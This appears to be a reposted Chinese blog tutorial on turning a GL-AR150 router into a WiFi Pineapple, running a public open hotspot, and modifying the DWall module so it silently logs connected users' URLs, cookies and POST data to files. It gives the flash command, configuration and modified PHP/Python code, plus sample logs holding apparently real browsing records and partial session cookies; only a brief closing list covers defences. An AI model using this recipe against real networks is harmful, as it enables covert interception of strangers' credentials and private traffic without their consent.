如何用路由器改成WiFi Pineapple系統鏡像網絡流量


本文主要介紹利用自己現有的設備,如何制作和使用WiFi Pineapple鏡像網絡流量,利用DWall模塊分析用戶數據,然后根據自己的需求,給DWall加入了日志記錄功能。最后介紹了如何防范wifi pineapple這樣的網絡設備。

 

自己打造一個WiFi pineApple:

看到很多前輩們已經做出了WiFi Pineapple NANO的rom文件,我也准備利用現有的設備,刷一個WiFi Pineapple NANO系統試試。

Openwrt:

WiFi Pineapple系統是一個把openwrt重度改良過的系統,所以需要先了解一下openwrt:

OpenWrt 可以被描述為一個嵌入式的 Linux 發行版,(主流路由器固件有 dd-wrt,tomato,openwrt三類)而不是試圖建立一個單一的、靜態的系統。OpenWrt的包管理提供了一個完全可寫的文件系統,從應用程序供應商提供的選擇和配置,並允許您自定義的設備,以適應任何應用程序。

 OpenWRT是一個高度模塊化、高度自動化的嵌入式Linux系統,擁有強大的網絡組件和擴展性,常常被用於工控設備、電話、小型機器人、智能家居、路由器以及VOIP設備中。 

\WiFi Pineapple NANO:

它不是一個簡單的廣播客戶端,也不只是一個路由器或接入點。WiFi Pineapple NANO是一個功能強大的無線網絡審計工具,利用其獨特的硬件和直觀的Web界面與你的滲透測試流程整合。它適合裝在你的口袋里。WiFi Pineapple NANO擁有一個完全重新設計的Web界面,有助於推進工作流程,增加了可用性。

按照現代的標准,新的WiFi Pineapple的Web界面更加直觀、快速、靈敏和熟悉。模塊仍然是一個核心功能,可無線下載社區開發的附加組件和網絡前端的流行工具。新的API對於經驗豐富的開發人員和新來的人是非常簡單的。新的WiFi Pineapple的Android應用程序簡化了USB網絡連接共享。點擊連接即時連接到漂亮友好的新的移動Web界面。不需要Root。在客戶現場長期部署?沒有問題。將WiFi Pineapple NANO插入一個標准的USB電源適配器和用於遠程維護的基於USB調制解調器最新一代的LTE連接設備即可。

配置如下:

 

CPU: 400 MHz MIPS Atheros AR9331 SoC

Memory: 16 MB ROM, 64 MB DDR2 RAM

Disk: ROM + Micro SD (not included)

Wireless: Atheros AR9331 + Atheros AR9271, both IEEE 802.11 b/g/n

Ports: (2) RP-SMA Antenna, Ethernet over USB (ASIX AX88772A), USB 2.0 Host, Micro SD

Power: USB 5V 1.5A. Includes USB Y-Cable

Configurable Status Indicator LED, Configurable Reset Button

某寶的價格:RMB:318.00

結合GL-AR150的迷你路由器:

配置如下:

Powered by Atheros 9331 SoC, 400MHz CPU

150Mbps high speed

16MB RAM

Stable performance

OpenWrt pre-installed

使用充電寶當電源

使用U盤來擴充容量

某寶的價格:RMB:119.00

刷機:

准備:

- 下載打包好的支持AR-150路由器的wifipineapple的rom。 AR150-wifipine固件下載 ,注意這個固件只適合AR-150使用,其他路由器不兼容。

- 備份現有路由器版本的ROM。

開始刷機:

以下2種方法任選一種:

- 可以使用路由器自帶的升級功能進行刷機(**推薦使用**)。

- 把rom文件上傳到路由器,然后執行刷機命令,等待完成,中間不要斷電。

mtd -r write /tmp/xxxx.rom firmware 

 

刷完機后,在瀏覽器地址欄輸入:172.16.42.1:1471后,應該可以進入大菠蘿的設置頁面

進入設置頁面:

路由器改成WiFi Pineapple系統鏡像網絡流量,利用DWall模塊智能分析用戶訪問數據

設置上網功能:

設置wan口為dhcp:

 

vim /etc/config/network config interface 'wan'         option ifname 'eth0'         option proto 'dhcp'         option dns '119.29.29.29, 8.8.8.8'

 

使用sd卡給設備擴容:

u盤必須是ex4格式的,需要用linux格式化u盤

 

config global option anon_swap '0' option anon_mount '0' option auto_swap '1' option auto_mount '1' option delay_root '5' option check_fs '0' config mount option target '/sd' option device '/dev/sda1' option fstype 'auto' option options 'rw,sync' option enabled '1'

 

以后所有的程序就都可以安裝到sd卡中了。

DWall功能:

 Display’s HTTP URLs, Cookies, POST DATA, and images from browsing clients.

分析封包的主要目的,就是要查看別人的訪問記錄,和一些敏感信息;DWall這個模塊已經集成了我想要的功能。

WIFI pineapple 最佳實踐:

1 打開自己的wifipineApple,設置公開的SSID;

 

2 打開流量鏡像功能,防止漏網之魚,我插了個64G的U盤來記錄應該是足夠用了)

路由器改成WiFi Pineapple系統鏡像網絡流量,利用DWall模塊智能分析用戶訪問數據

3 確認有人已經連接:

 

4 打開DWall模塊:

 

5 查看用戶訪問過的內容;

修改源碼:

DWall優點:

可以免去我們去分析封包,而且過濾出敏感字段,省去我們的不少麻煩。

DWall缺點:

需要一直在這個頁面不能離開,才可以看到用戶從路由器上發出的請求數據。

進入ssh,用ps查看進程列表:root@gl_ar150:/sd/modules/DWall/log# ps | grep DWall , 發現其實DWall一直在后天台運行,只是沒有在后台顯示而已,那個start listen按鈕只是控制在不在后台顯示; 我想作者不在后台一直顯示,應該是考慮到內存問題吧;

 

2483 root     12092 S N  /usr/bin/python /pineapple/modules/DWall/assets/DWall.py   ==>開了一個9999的websocket端口,進行數據處理 2484 root      3072 S N  /pineapple/modules/DWall/assets/http_sniffer br-lan    ===>http數據監聽

 

DWall模塊代碼是開源的,我准備根據自己的需求,修改一下源碼,讓他可以自動記錄log,這樣當我不在的時候,也不至於錯過一些重要的數據信息。

打開DWall/api/module.php 加入:

$time = time(); ====》 獲取到當前時間         $date = date("ymdHis",$time);  ====》 格式化時間為         $date = $date.".log";          ====》 加入.log后綴名 //打印日志輸出到文件         $this->execBackground("/usr/bin/python /pineapple/modules/DWall/assets/DWall.py > /pineapple/modules/DWall/log/".$date);

收到封包數據后,會進入DWall/assets/WebSocketsHandler.py:

 

  def parseData(self, data):         data = data.split("|", 2)         dataDict = {"from": data[0], "to": data[1]}         path, headers = data[2].split('\r\n', 1)         payload = Message(StringIO(headers))         url = "http://" + payload['host'] + path.split(" ")[1]         if url.lower().endswith(('.png', '.ico', '.jpeg', '.jpg', '.gif', '.svg')):             dataDict['image'] = url ===》記錄圖片         else:             dataDict['url'] = url ===》記錄地址         if 'cookie' in payload:             dataDict['cookie'] = payload['cookie']===》記錄cookie         postData = data[2].split('\r\n\r\n')         if len(postData) == 2:             if postData[1].strip():                 dataDict['post'] = postData[1] =====》post的數據 print dataDict; ========》

我加入了一條打印命令,用來記錄日志用:

        return dataDict

 

log文件中記錄內容如下,這個大家應該都明白是什么意思:)

 

{'url': 'http://t.wg.360-api.cn/ap/tips/browse?mid=2ea1cddeb1140c584e2af3fdd9f70e22', 'to': 'xxx.xxx.xxx.xxx', 'from': '172.16.42.192 {'url': 'http://s.360.cn/360game/stat.htm?pid=se&m=2ea1cddeb1140c584e2af3fdd9f70e22&ver=9.0.7.1033&s=loading&type=extyouxi&sever=9.1 {'url': 'http://wan.360.cn/?src=se', 'to': 'xxx.xxx.xxx.xxx', 'from': 'xxx.xxx.xxx.xxx', 'cookie': '__huid=11K07bgNFwCnhAAu7BlaPTAx5Xov {'url': 'http://seupdate.360safe.com/bankmode4.ini?1842861343', 'to': '61.240.140.61', 'from': '172.16.42.192'} {'to': '42.236.102.95', 'image': 'http://p0.qhimg.com/t016d59f245a828b8e3.jpg', 'from': '172.16.42.192'} {'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01321f78ebe6c390bf.jpg', 'from': '172.16.42.192'} {'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01dfc19ebeec81e26f.jpg', 'from': '172.16.42.192'} {'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01e46f85933f369ab6.jpg', 'from': '172.16.42.192'} {'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t0188118c4beb970f46.jpg', 'from': '172.16.42.192'} {'to': '120.52.32.31', 'image': 'http://p0.qhimg.com/t016d59f245a828b8e3.jpg', 'from': '172.16.42.192'} {'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t01cd2fd2aa60ffd533.jpg', 'from': '172.16.42.192'} {'to': 'xxx.xxx.xxx.xxx', 'image': 'http://p6.yx-s.com/t014f83608163d71015.jpg', 'from': '172.16.42.192'} {'url': 'http://js.passport.qihucdn.com/5.0.3.js', 'to': '42.236.102.95', 'from': '172.16.42.192'}

 

查看log文件列表格式:

		root@gl_ar150:/sd/modules/DWall/log# ls -la

 

drwxr-xr-x    2 root     root          4096 Mar 26 19:30 . drwxr-xr-x    6 111      118           4096 Mar 23 19:11 .. -rw-r--r--    1 root     root             0 Mar 23 20:17 180323121756.log -rw-r--r--    1 root     root       1568871 Mar 26 11:29 180323121836.log -rw-r--r--    1 root     root         16384 Mar 26 19:30 180326112942.log -rw-r--r--    1 root     root         28673 Mar 26 19:31 180326113030.log

 

經過上面的修改以后,只要開機后點擊Enable,DWall就會自動記錄用戶的每條訪問記錄,在需要時候,只需要在LOG文件中查找就可以了。

DWall修改版本下載地址

 

 

如何防范:

如果把WiFi Pineapple比喻成一座魔窟,那么當你連接上這個WiFi后,無疑就等於進入了魔窟的大門,你的一舉一動,都將會被記錄和利用。 那么,有沒有辦法進行防范呢?

  • 在公共場所,少使用或不使用陌生wifi;
  • 少登錄或不登錄http網站,因為目前對https網站的攻擊還是比較有限的;
  • 查看自己的內網ip地址是不是172.16.42.1的網關,如果是那么你可能就中招了;
  • 在不熟悉的網絡環境操作時候,使用VPN或者SSL通道加密,這樣就是截取流量,也是加密后的流量,分析起來比較復雜


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM